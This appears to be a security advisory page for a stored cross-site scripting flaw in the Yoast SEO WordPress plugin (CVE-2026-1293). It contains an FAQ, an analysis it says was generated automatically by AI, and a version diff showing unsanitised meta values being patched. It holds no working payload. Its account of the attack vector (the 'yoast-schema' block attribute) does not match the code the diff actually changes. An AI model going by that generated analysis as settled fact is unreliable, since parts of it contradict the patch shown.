What is CVE-2026-1293?

CVE-2026-1293 is a stored cross-site scripting (XSS) vulnerability found in the Yoast SEO plugin for WordPress, affecting versions up to and including 26.8. It allows authenticated users with Contributor-level access or higher to inject arbitrary JavaScript into pages via the ‘yoast-schema’ block attribute.

How does the vulnerability work?

The vulnerability arises from insufficient input sanitization and output escaping in the plugin’s handling of post and term meta values. Authenticated attackers can inject malicious scripts that execute when users access affected pages, potentially leading to session hijacking or content manipulation.

Who is affected by this vulnerability?

Any WordPress site using the Yoast SEO plugin version 26.8 or earlier is vulnerable. Specifically, authenticated users with Contributor-level access or higher can exploit this vulnerability, making it critical for site administrators to assess user roles.

How can I check if my site is vulnerable?

To check if your site is vulnerable, verify the version of the Yoast SEO plugin installed. If it is version 26.8 or earlier, your site is at risk. Additionally, review user roles to identify any users with Contributor access or higher.

How can I fix CVE-2026-1293?

To fix this vulnerability, update the Yoast SEO plugin to version 26.9 or later, where the issue has been patched. Regularly check for updates to ensure that your site remains secure from known vulnerabilities.

What does the CVSS score of 6.4 indicate?

A CVSS score of 6.4 indicates a medium severity level, suggesting that while the vulnerability is not critical, it poses a significant risk. Exploitation could lead to serious consequences, including unauthorized actions within the context of authenticated users.

What are the practical implications of this vulnerability?

If exploited, this vulnerability can allow attackers to execute scripts that may hijack user sessions, manipulate content, or redirect users to malicious sites. The stored nature of the attack means that the impact could persist until the injected scripts are removed.

What is the proof of concept for this vulnerability?

The proof of concept demonstrates how an authenticated user can log in to a vulnerable WordPress site and inject JavaScript into the ‘yoast-schema’ block attribute. This script will then execute whenever any user views the compromised page, showcasing the ease of exploitation.

What should I do if I cannot update the plugin immediately?

If immediate updates are not possible, consider disabling the Yoast SEO plugin until it can be updated. Additionally, review user roles and limit access for Contributors or higher to reduce the risk of exploitation.

How can I prevent similar vulnerabilities in the future?

To prevent similar vulnerabilities, regularly update all plugins and themes, implement a web application firewall, and conduct security audits. Educating users about secure coding practices and input validation can also help mitigate risks.

Where can I find more information about this vulnerability?

More information about CVE-2026-1293 can be found on the National Vulnerability Database and security advisories from WordPress and Yoast. Keeping abreast of security updates from trusted sources is essential for maintaining site security.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : March 18, 2026

CVE-2026-1293: Yoast SEO <= 26.8 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'yoast-schema' Block Attribute (wordpress-seo)

CVE ID CVE-2026-1293

Plugin wordpress-seo

Severity Medium (CVSS 6.4)

CWE 79

Vulnerable Version 26.8

Patched Version 26.9

Disclosed February 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1293:
The Yoast SEO plugin for WordPress versions up to and including 26.8 contains a stored cross-site scripting vulnerability in the ‘yoast-schema’ block attribute. This vulnerability allows authenticated attackers with Contributor-level permissions or higher to inject arbitrary JavaScript into pages. The injected scripts execute when users view the compromised pages.

Atomic Edge research identifies the root cause in the WPSEO_Replace_Vars class within the file wordpress-seo/inc/class-wpseo-replace-vars.php. The vulnerability exists because the plugin fails to properly sanitize post meta and term meta values before output. Specifically, lines 768 and 774 in the vulnerable version directly assign retrieved meta values to the $replacement variable without applying any sanitization. The affected functions handle the ‘%%cf_{custom_field_name}%%’ and ‘%%ct_{custom_taxonomy_name}%%’ replacement patterns.

The exploitation method requires an authenticated attacker with at least Contributor privileges. Attackers can inject malicious JavaScript payloads into the ‘yoast-schema’ block attribute when editing or creating posts. The payload persists in the post content and executes when any user views the affected page. The attack vector leverages WordPress’s block editor and the plugin’s schema markup functionality, which fails to escape the attribute values during frontend rendering.

The patch adds sanitize_text_field() calls to both post meta and term meta retrieval paths. In wordpress-seo/inc/class-wpseo-replace-vars.php at line 768, the code changes from ‘$replacement = $name;’ to ‘$replacement = sanitize_text_field( $name );’. Line 774 receives the same sanitization. This ensures any HTML or JavaScript in custom field values gets neutralized before output. The fix prevents script execution while preserving the intended text content.

Successful exploitation enables attackers to perform actions within the context of authenticated users viewing the compromised pages. This can lead to session hijacking, administrative actions performed by administrators, content manipulation, or redirection to malicious sites. The stored nature means the payload affects all subsequent visitors until removed.

Differential between vulnerable and patched code

Code Diff

--- a/wordpress-seo/admin/ajax.php
+++ b/wordpress-seo/admin/ajax.php
@@ -316,7 +316,6 @@

 add_action( 'wp_ajax_get_focus_keyword_usage_and_post_types', 'ajax_get_keyword_usage_and_post_types' );

-
 /**
  * Retrieves the keyword for the keyword doubles of the termpages.
  *
--- a/wordpress-seo/admin/class-gutenberg-compatibility.php
+++ b/wordpress-seo/admin/class-gutenberg-compatibility.php
@@ -15,14 +15,14 @@
 	 *
 	 * @var string
 	 */
-	public const CURRENT_RELEASE = '22.3.0';
+	public const CURRENT_RELEASE = '22.4.2';

 	/**
 	 * The minimally supported version of Gutenberg by the plugin.
 	 *
 	 * @var string
 	 */
-	public const MINIMUM_SUPPORTED = '22.3.0';
+	public const MINIMUM_SUPPORTED = '22.4.2';

 	/**
 	 * Holds the current version.
--- a/wordpress-seo/inc/class-wpseo-replace-vars.php
+++ b/wordpress-seo/inc/class-wpseo-replace-vars.php
@@ -765,13 +765,13 @@
 				// Post meta can be arrays and in this case we need to exclude them.
 				$name = get_post_meta( $this->args->ID, $field, true );
 				if ( $name !== '' && ! is_array( $name ) ) {
-					$replacement = $name;
+					$replacement = sanitize_text_field( $name );
 				}
 			}
 			elseif ( ! empty( $this->args->term_id ) ) {
 				$name = get_term_meta( $this->args->term_id, $field, true );
 				if ( $name !== '' ) {
-					$replacement = $name;
+					$replacement = sanitize_text_field( $name );
 				}
 			}
 		}
--- a/wordpress-seo/inc/options/class-wpseo-option-titles.php
+++ b/wordpress-seo/inc/options/class-wpseo-option-titles.php
@@ -836,7 +836,6 @@
 				'metadesc-'        => 'metadesc-tax-',
 				'noindex-'         => 'noindex-tax-',
 				'tax-hideeditbox-' => 'hideeditbox-tax-',
-
 			];

 			$taxonomy_names  = get_taxonomies( [ 'public' => true ], 'names' );
--- a/wordpress-seo/inc/options/class-wpseo-option-tracking-only.php
+++ b/wordpress-seo/inc/options/class-wpseo-option-tracking-only.php
@@ -27,8 +27,9 @@
 	 * @var array<string, int|string|array<int>>
 	 */
 	protected $defaults = [
-		'task_list_first_opened_on' => '',
-		'task_first_actioned_on'    => '',
+		'task_list_first_opened_on'            => '',
+		'task_first_actioned_on'               => '',
+		'frontend_inspector_first_actioned_on' => '',
 	];

 	/**
@@ -62,6 +63,7 @@
 			switch ( $key ) {
 				case 'task_list_first_opened_on':
 				case 'task_first_actioned_on':
+				case 'frontend_inspector_first_actioned_on':
 					// These should be set only once and never changed again (unless completely reset to default).

 					if ( isset( $dirty[ $key ] ) && $old[ $key ] === $this->get_defaults()[ $key ] ) {
--- a/wordpress-seo/src/ai-authorization/application/code-verifier-handler.php
+++ b/wordpress-seo/src/ai-authorization/application/code-verifier-handler.php
@@ -6,11 +6,13 @@
 use YoastWPSEOAI_AuthorizationDomainCode_Verifier;
 use YoastWPSEOAI_AuthorizationInfrastructureCode_Verifier_User_Meta_Repository;
 use YoastWPSEOHelpersDate_Helper;
+
 /**
  * Class Code_Verifier_Service
  * Handles the generation and validation of code verifiers for users.
  */
 class Code_Verifier_Handler implements Code_Verifier_Handler_Interface {
+
 	private const VALIDITY_IN_SECONDS = 300; // 5 minutes

 	/**
--- a/wordpress-seo/src/ai-authorization/infrastructure/access-token-user-meta-repository-interface.php
+++ b/wordpress-seo/src/ai-authorization/infrastructure/access-token-user-meta-repository-interface.php
@@ -8,5 +8,6 @@
  * @phpcs:disable Yoast.NamingConventions.ObjectNameDepth.MaxExceeded
  */
 interface Access_Token_User_Meta_Repository_Interface extends Token_User_Meta_Repository_Interface {
+
 	public const META_KEY = '_yoast_wpseo_ai_generator_access_jwt';
 }
--- a/wordpress-seo/src/ai-authorization/infrastructure/code-verifier-user-meta-repository.php
+++ b/wordpress-seo/src/ai-authorization/infrastructure/code-verifier-user-meta-repository.php
@@ -6,6 +6,7 @@
 use YoastWPSEOAI_AuthorizationDomainCode_Verifier;
 use YoastWPSEOHelpersDate_Helper;
 use YoastWPSEOHelpersUser_Helper;
+
 /**
  * Class Code_Verifier_Repository
  */
--- a/wordpress-seo/src/ai-authorization/infrastructure/refresh-token-user-meta-repository-interface.php
+++ b/wordpress-seo/src/ai-authorization/infrastructure/refresh-token-user-meta-repository-interface.php
@@ -8,5 +8,6 @@
  * @phpcs:disable Yoast.NamingConventions.ObjectNameDepth.MaxExceeded
  */
 interface Refresh_Token_User_Meta_Repository_Interface extends Token_User_Meta_Repository_Interface {
+
 	public const META_KEY = '_yoast_wpseo_ai_generator_refresh_jwt';
 }
--- a/wordpress-seo/src/ai-authorization/user-interface/abstract-callback-route.php
+++ b/wordpress-seo/src/ai-authorization/user-interface/abstract-callback-route.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEOAI_AuthorizationUser_Interface;

--- a/wordpress-seo/src/ai-authorization/user-interface/callback-route.php
+++ b/wordpress-seo/src/ai-authorization/user-interface/callback-route.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEOAI_AuthorizationUser_Interface;

@@ -10,6 +11,7 @@
  * @phpcs:disable Yoast.NamingConventions.ObjectNameDepth.MaxExceeded
  */
 class Callback_Route extends Abstract_Callback_Route {
+
 	/**
 	 *  The prefix for this route.
 	 *
--- a/wordpress-seo/src/ai-authorization/user-interface/refresh-callback-route.php
+++ b/wordpress-seo/src/ai-authorization/user-interface/refresh-callback-route.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEOAI_AuthorizationUser_Interface;

@@ -10,6 +11,7 @@
  * @phpcs:disable Yoast.NamingConventions.ObjectNameDepth.MaxExceeded
  */
 class Refresh_Callback_Route extends Abstract_Callback_Route {
+
 	/**
 	 *  The prefix for this route.
 	 *
--- a/wordpress-seo/src/ai-consent/domain/endpoint/endpoint-interface.php
+++ b/wordpress-seo/src/ai-consent/domain/endpoint/endpoint-interface.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEOAI_ConsentDomainEndpoint;

--- a/wordpress-seo/src/ai-consent/infrastructure/endpoints/consent-endpoint.php
+++ b/wordpress-seo/src/ai-consent/infrastructure/endpoints/consent-endpoint.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEOAI_ConsentInfrastructureEndpoints;

--- a/wordpress-seo/src/ai-consent/user-interface/consent-route.php
+++ b/wordpress-seo/src/ai-consent/user-interface/consent-route.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEOAI_ConsentUser_Interface;

@@ -27,6 +28,7 @@
  * @phpcs:disable Yoast.NamingConventions.ObjectNameDepth.MaxExceeded
  */
 class Consent_Route implements Route_Interface {
+
 	/**
 	 *  The namespace for this route.
 	 *
@@ -125,7 +127,7 @@
 			return new WP_REST_Response( ( $consent ) ? 'Failed to store consent.' : 'Failed to revoke consent.', 500 );
 		}

-			return new WP_REST_Response( ( $consent ) ? 'Consent successfully stored.' : 'Consent successfully revoked.' );
+		return new WP_REST_Response( ( $consent ) ? 'Consent successfully stored.' : 'Consent successfully revoked.' );
 	}

 	/**
--- a/wordpress-seo/src/ai-free-sparks/infrastructure/endpoints/free-sparks-endpoint.php
+++ b/wordpress-seo/src/ai-free-sparks/infrastructure/endpoints/free-sparks-endpoint.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEOAI_Free_SparksInfrastructureEndpoints;

--- a/wordpress-seo/src/ai-free-sparks/user-interface/free-sparks-route.php
+++ b/wordpress-seo/src/ai-free-sparks/user-interface/free-sparks-route.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEOAI_Free_SparksUser_Interface;

--- a/wordpress-seo/src/ai-generator/domain/endpoint/endpoint-interface.php
+++ b/wordpress-seo/src/ai-generator/domain/endpoint/endpoint-interface.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEOAI_GeneratorDomainEndpoint;

--- a/wordpress-seo/src/ai-generator/domain/endpoint/endpoint-list.php
+++ b/wordpress-seo/src/ai-generator/domain/endpoint/endpoint-list.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEOAI_GeneratorDomainEndpoint;

--- a/wordpress-seo/src/ai-generator/infrastructure/endpoints/get-suggestions-endpoint.php
+++ b/wordpress-seo/src/ai-generator/infrastructure/endpoints/get-suggestions-endpoint.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEOAI_GeneratorInfrastructureEndpoints;

--- a/wordpress-seo/src/ai-generator/infrastructure/endpoints/get-usage-endpoint.php
+++ b/wordpress-seo/src/ai-generator/infrastructure/endpoints/get-usage-endpoint.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEOAI_GeneratorInfrastructureEndpoints;

--- a/wordpress-seo/src/ai-generator/user-interface/bust-subscription-cache-route.php
+++ b/wordpress-seo/src/ai-generator/user-interface/bust-subscription-cache-route.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEOAI_GeneratorUser_Interface;

--- a/wordpress-seo/src/ai-generator/user-interface/get-suggestions-route.php
+++ b/wordpress-seo/src/ai-generator/user-interface/get-suggestions-route.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEOAI_GeneratorUser_Interface;

--- a/wordpress-seo/src/ai-generator/user-interface/get-usage-route.php
+++ b/wordpress-seo/src/ai-generator/user-interface/get-usage-route.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEOAI_GeneratorUser_Interface;

@@ -123,8 +124,7 @@
 			$action_path     = $this->get_action_path( $is_woo_product_entity );
 			$response        = $this->request_handler->handle( new Request( $action_path, [], $request_headers, false ) );
 			$data            = json_decode( $response->get_body() );
-
-		}  catch ( Remote_Request_Exception | WP_Request_Exception $e ) {
+		} catch ( Remote_Request_Exception | WP_Request_Exception $e ) {
 			$message = [
 				'errorMessage'    => $e->getMessage(),
 				'errorIdentifier' => $e->get_error_identifier(),
--- a/wordpress-seo/src/ai-http-request/application/response-parser.php
+++ b/wordpress-seo/src/ai-http-request/application/response-parser.php
@@ -1,4 +1,5 @@
 <?php
+
 namespace YoastWPSEOAI_HTTP_RequestApplication;

 use YoastWPSEOAI_HTTP_RequestDomainResponse;
--- a/wordpress-seo/src/ai-http-request/domain/exceptions/bad-request-exception.php
+++ b/wordpress-seo/src/ai-http-request/domain/exceptions/bad-request-exception.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEOAI_HTTP_RequestDomainExceptions;

--- a/wordpress-seo/src/ai-http-request/domain/exceptions/forbidden-exception.php
+++ b/wordpress-seo/src/ai-http-request/domain/exceptions/forbidden-exception.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEOAI_HTTP_RequestDomainExceptions;

--- a/wordpress-seo/src/ai-http-request/domain/exceptions/internal-server-error-exception.php
+++ b/wordpress-seo/src/ai-http-request/domain/exceptions/internal-server-error-exception.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEOAI_HTTP_RequestDomainExceptions;

--- a/wordpress-seo/src/ai-http-request/domain/exceptions/not-found-exception.php
+++ b/wordpress-seo/src/ai-http-request/domain/exceptions/not-found-exception.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEOAI_HTTP_RequestDomainExceptions;

--- a/wordpress-seo/src/ai-http-request/domain/exceptions/payment-required-exception.php
+++ b/wordpress-seo/src/ai-http-request/domain/exceptions/payment-required-exception.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEOAI_HTTP_RequestDomainExceptions;

--- a/wordpress-seo/src/ai-http-request/domain/exceptions/remote-request-exception.php
+++ b/wordpress-seo/src/ai-http-request/domain/exceptions/remote-request-exception.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEOAI_HTTP_RequestDomainExceptions;

--- a/wordpress-seo/src/ai-http-request/domain/exceptions/request-timeout-exception.php
+++ b/wordpress-seo/src/ai-http-request/domain/exceptions/request-timeout-exception.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEOAI_HTTP_RequestDomainExceptions;

--- a/wordpress-seo/src/ai-http-request/domain/exceptions/service-unavailable-exception.php
+++ b/wordpress-seo/src/ai-http-request/domain/exceptions/service-unavailable-exception.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEOAI_HTTP_RequestDomainExceptions;

--- a/wordpress-seo/src/ai-http-request/domain/exceptions/too-many-requests-exception.php
+++ b/wordpress-seo/src/ai-http-request/domain/exceptions/too-many-requests-exception.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEOAI_HTTP_RequestDomainExceptions;

--- a/wordpress-seo/src/ai-http-request/domain/exceptions/unauthorized-exception.php
+++ b/wordpress-seo/src/ai-http-request/domain/exceptions/unauthorized-exception.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEOAI_HTTP_RequestDomainExceptions;

--- a/wordpress-seo/src/ai-http-request/domain/exceptions/wp-request-exception.php
+++ b/wordpress-seo/src/ai-http-request/domain/exceptions/wp-request-exception.php
@@ -1,8 +1,10 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEOAI_HTTP_RequestDomainExceptions;

 use Throwable;
+
 /**
  * Class to manage an error response in wp_remote_*() requests.
  *
--- a/wordpress-seo/src/alerts/application/default-seo-data/default-seo-data-alert.php
+++ b/wordpress-seo/src/alerts/application/default-seo-data/default-seo-data-alert.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEOAlertsApplicationDefault_SEO_Data;

--- a/wordpress-seo/src/alerts/application/ping-other-admins/ping-other-admins-alert.php
+++ b/wordpress-seo/src/alerts/application/ping-other-admins/ping-other-admins-alert.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEOAlertsApplicationPing_Other_Admins;

--- a/wordpress-seo/src/alerts/infrastructure/default-seo-data/default-seo-data-collector.php
+++ b/wordpress-seo/src/alerts/infrastructure/default-seo-data/default-seo-data-collector.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
 namespace YoastWPSEOAlertsInfrastructureDefault_SEO_Data;

--- a/wordpress-seo/src/alerts/user-interface/default-seo-data/default-seo-data-cron-callback-integration.php
+++ b/wordpress-seo/src/alerts/user-interface/default-seo-data/default-seo-data-cron-callback-integration.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEOAlertsUser_InterfaceDefault_SEO_Data;

--- a/wordpress-seo/src/alerts/user-interface/default-seo-data/default-seo-data-cron-scheduler.php
+++ b/wordpress-seo/src/alerts/user-interface/default-seo-data/default-seo-data-cron-scheduler.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
 namespace YoastWPSEOAlertsUser_InterfaceDefault_Seo_Data;

--- a/wordpress-seo/src/alerts/user-interface/default-seo-data/default-seo-data-watcher.php
+++ b/wordpress-seo/src/alerts/user-interface/default-seo-data/default-seo-data-watcher.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEOAlertsUser_InterfaceDefault_SEO_Data;

@@ -7,6 +8,7 @@
 use YoastWPSEOIntegrationsIntegration_Interface;
 use YoastWPSEOModelsIndexable;
 use YoastWPSEORepositoriesIndexable_Repository;
+
 /**
  * This handles the process of checking for non-default SEO in the latest content and updating the relevant options right away.
  */
--- a/wordpress-seo/src/alerts/user-interface/resolve-alert-route.php
+++ b/wordpress-seo/src/alerts/user-interface/resolve-alert-route.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEOAlertsUser_Interface;

--- a/wordpress-seo/src/conditionals/woo-seo-inactive-conditional.php
+++ b/wordpress-seo/src/conditionals/woo-seo-inactive-conditional.php
@@ -0,0 +1,18 @@
+<?php
+
+namespace YoastWPSEOConditionals;
+
+/**
+ * Conditional that is only met when Yoast WooCommerce SEO is NOT active.
+ */
+class Woo_SEO_Inactive_Conditional implements Conditional {
+
+	/**
+	 * Returns `true` when Yoast WooCommerce SEO is not active.
+	 *
+	 * @return bool `true` when Yoast WooCommerce SEO is not installed or activated.
+	 */
+	public function is_met() {
+		return ! defined( 'WPSEO_WOO_VERSION' );
+	}
+}
--- a/wordpress-seo/src/conditionals/woocommerce-version-conditional.php
+++ b/wordpress-seo/src/conditionals/woocommerce-version-conditional.php
@@ -0,0 +1,27 @@
+<?php
+
+namespace YoastWPSEOConditionals;
+
+/**
+ * Conditional that is only met when WooCommerce is active and version is 10.5 or higher.
+ */
+class WooCommerce_Version_Conditional implements Conditional {
+
+	/**
+	 * The minimum WooCommerce version required.
+	 */
+	private const REQUIRED_VERSION = '10.5';
+
+	/**
+	 * Returns `true` when WooCommerce is installed, activated, and meets the minimum version.
+	 *
+	 * @return bool `true` when WooCommerce meets the version requirement.
+	 */
+	public function is_met() {
+		if ( ! defined( 'WC_VERSION' ) ) {
+			return false;
+		}
+
+		return version_compare( WC_VERSION, self::REQUIRED_VERSION, '>=' );
+	}
+}
--- a/wordpress-seo/src/config/migrations/20260105111111_AddSeoLinksIndex.php
+++ b/wordpress-seo/src/config/migrations/20260105111111_AddSeoLinksIndex.php
@@ -0,0 +1,77 @@
+<?php
+
+namespace YoastWPSEOConfigMigrations;
+
+use YoastWPLibMigrationsMigration;
+use YoastWPLibModel;
+
+/**
+ * AddSeoLinksIndex class.
+ */
+class AddSeoLinksIndex extends Migration {
+
+	/**
+	 * The plugin this migration belongs to.
+	 *
+	 * @var string
+	 */
+	public static $plugin = 'free';
+
+	/**
+	 * Migration up.
+	 *
+	 * @return void
+	 */
+	public function up() {
+		$table_name = $this->get_table_name();
+
+		$this->add_index(
+			$table_name,
+			'url',
+			[
+				'name' => 'url_index',
+			]
+		);
+
+		$this->add_index(
+			$table_name,
+			'target_indexable_id',
+			[
+				'name' => 'target_indexable_id_index',
+			]
+		);
+	}
+
+	/**
+	 * Migration down.
+	 *
+	 * @return void
+	 */
+	public function down() {
+		$table_name = $this->get_table_name();
+
+		$this->remove_index(
+			$table_name,
+			'url',
+			[
+				'name' => 'url_index',
+			]
+		);
+		$this->remove_index(
+			$table_name,
+			'target_indexable_id',
+			[
+				'name' => 'target_indexable_id_index',
+			]
+		);
+	}
+
+	/**
+	 * Retrieves the table name to use.
+	 *
+	 * @return string The table name to use.
+	 */
+	protected function get_table_name() {
+		return Model::get_table_name( 'SEO_Links' );
+	}
+}
--- a/wordpress-seo/src/dashboard/application/configuration/dashboard-configuration.php
+++ b/wordpress-seo/src/dashboard/application/configuration/dashboard-configuration.php
@@ -1,6 +1,5 @@
 <?php

-
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
 namespace YoastWPSEODashboardApplicationConfiguration;

@@ -144,12 +143,12 @@

 		$site_kit_integration_data = $this->site_kit_integration_data->to_array();
 		if ( ! empty( $site_kit_integration_data ) ) {
-			$configuration ['siteKitConfiguration'] = $site_kit_integration_data;
+			$configuration['siteKitConfiguration'] = $site_kit_integration_data;
 		}

 		$browser_cache_configuration = $this->browser_cache_configuration->get_configuration();
 		if ( ! empty( $browser_cache_configuration ) ) {
-			$configuration ['browserCache'] = $browser_cache_configuration;
+			$configuration['browserCache'] = $browser_cache_configuration;
 		}

 		return $configuration;
--- a/wordpress-seo/src/dashboard/application/endpoints/endpoints-repository.php
+++ b/wordpress-seo/src/dashboard/application/endpoints/endpoints-repository.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardApplicationEndpoints;

--- a/wordpress-seo/src/dashboard/application/score-results/abstract-score-results-repository.php
+++ b/wordpress-seo/src/dashboard/application/score-results/abstract-score-results-repository.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
 // phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
 namespace YoastWPSEODashboardApplicationScore_Results;
--- a/wordpress-seo/src/dashboard/application/score-results/current-scores-repository.php
+++ b/wordpress-seo/src/dashboard/application/score-results/current-scores-repository.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
 // phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
 namespace YoastWPSEODashboardApplicationScore_Results;
--- a/wordpress-seo/src/dashboard/application/score-results/readability-score-results/readability-score-results-repository.php
+++ b/wordpress-seo/src/dashboard/application/score-results/readability-score-results/readability-score-results-repository.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
 // phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
 namespace YoastWPSEODashboardApplicationScore_ResultsReadability_Score_Results;
--- a/wordpress-seo/src/dashboard/application/score-results/seo-score-results/seo-score-results-repository.php
+++ b/wordpress-seo/src/dashboard/application/score-results/seo-score-results/seo-score-results-repository.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong
 // phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
 namespace YoastWPSEODashboardApplicationScore_ResultsSEO_Score_Results;
--- a/wordpress-seo/src/dashboard/application/search-rankings/search-ranking-compare-repository.php
+++ b/wordpress-seo/src/dashboard/application/search-rankings/search-ranking-compare-repository.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardApplicationSearch_Rankings;

--- a/wordpress-seo/src/dashboard/application/search-rankings/top-page-repository.php
+++ b/wordpress-seo/src/dashboard/application/search-rankings/top-page-repository.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardApplicationSearch_Rankings;

--- a/wordpress-seo/src/dashboard/application/search-rankings/top-query-repository.php
+++ b/wordpress-seo/src/dashboard/application/search-rankings/top-query-repository.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardApplicationSearch_Rankings;

--- a/wordpress-seo/src/dashboard/application/tracking/setup-steps-tracking.php
+++ b/wordpress-seo/src/dashboard/application/tracking/setup-steps-tracking.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardApplicationTracking;

--- a/wordpress-seo/src/dashboard/application/traffic/organic-sessions-compare-repository.php
+++ b/wordpress-seo/src/dashboard/application/traffic/organic-sessions-compare-repository.php
@@ -1,4 +1,5 @@
 <?php
+
 // phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
 namespace YoastWPSEODashboardApplicationTraffic;

--- a/wordpress-seo/src/dashboard/application/traffic/organic-sessions-daily-repository.php
